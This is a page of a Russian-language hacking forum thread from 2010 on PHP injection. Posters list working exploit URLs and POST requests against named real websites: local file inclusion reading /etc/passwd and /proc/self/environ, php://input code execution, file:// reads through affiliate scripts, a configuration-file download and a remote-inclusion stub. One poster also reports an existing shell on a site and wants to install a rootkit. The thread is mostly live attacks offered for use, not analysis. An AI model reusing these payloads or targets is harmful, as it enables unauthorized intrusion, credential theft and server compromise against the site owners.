FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
PHP Иньекции

Страница 118 из 143

118

Опции темы

Поиск в этой теме

Опции просмотра

30.08.2010, 14:05

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

Провел на форуме:
3363660

Репутация: 1148

Код:

http://polyakovprud.dp.ua/index.php?page=/../../../../../../../../../proc/self/environ

Код:

http://mir-audio.com.ua/admin/file_manager.php/login.php?action=download&filename=includes/configure.php

для последнего: /showthread.php?t=71111 можно админа добавить и тупо под ним зайти

30.08.2010, 23:35

daniel_1024

Участник форума

Регистрация: 15.07.2009

Сообщений: 158

Провел на форуме:
698831

Репутация: 34

php://input

выполнение произвольного php - кода, редко вижу.

итак, выполняем следующие пост-запросы:

Код:

POST /index.php?link=php://input HTTP/1.1
Host: www.alternativeautosource.net
Content-Length: 19

Код:

POST /lang_de/main.php?view=php://input HTTP/1.1
Host: www.galvania.ca
Content-Length: 19

Код:

POST /page_en.php?link=php://input HTTP/1.1
Host: www.rochelle.cz
Content-Length: 19

и видим PHPINFO серверов

Код:

POST /WWW/main.php?CONTENT=php://input HTTP/1.1
Host: polyplast-mainz.de
Content-Length: 27

а тут листинг директории))

31.08.2010, 12:18

*uNkN0Wn*

Участник форума

Регистрация: 25.03.2009

Сообщений: 149

Провел на форуме:
1739459

Репутация: 116

Код HTML:

http://www.sexycamnow.com/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00

Код HTML:

http://grindhouze.com/cms/index.php/recent/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00

Код HTML:

http://www.semiprice.fr/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00

01.09.2010, 20:08

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

http://www.tierheim-spanien.de/thspa.php?inc=../../../../../../../../../../etc/passwd%00

05.09.2010, 21:51

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

RFI

http://www.axode.com/en/products.php?module_catalogue_page=[/COLOR][/B]

07.09.2010, 19:49

Chi

Новичок

Регистрация: 30.08.2010

Сообщений: 9

Провел на форуме:
2026

Репутация: 0

Один из крупнейших порталов по теме образования в Латвии :

Код:

http://shkola.lv/index.php?mode=goods&page=../../../../../etc/passwd%00

10.09.2010, 08:14

Keltos

Iron Man#2

Регистрация: 08.07.2009

Сообщений: 2,084

Провел на форуме:
3896191

Репутация: 2562

Код:

http://www.hyaffiliates.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Код:

http://pheromore.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Код:

http://www.4xwins.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Код:

http://www.blastarticles.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Код:

http://www.attractingabundance.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

Код:

http://www.parentcoachplan.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

11.09.2010, 20:25

ubi

Новичок

Регистрация: 25.12.2009

Сообщений: 18

Провел на форуме:
278340

Репутация: 0

http://www.wirtualnailawa.pl/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

12.09.2010, 22:20

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

Провел на форуме:
472147

Репутация: 211

http://www.virtualiroma.it/index.php?open=/web/htdocs/www.virtualiroma.it/home/index.php

http://www.giardinodiroma.eu/index.php?open=../../../../../../../etc/issue

#10

17.09.2010, 13:59

valyka80

Новичок

Регистрация: 14.06.2010

Сообщений: 0

Провел на форуме:
930

Репутация: 0

http://www.smacworld.com/new/index.php?p=../../../../../../../../../../proc/self/environ

Кому интересно там есть шелл,

но немогу rootkit поставить нет еще сплоитов

Страница 118 из 143

118

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Books	PSalm69	Избранное	273	13.02.2016 01:24
Books PHP	FRAGNATIC	PHP	186	21.02.2010 02:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules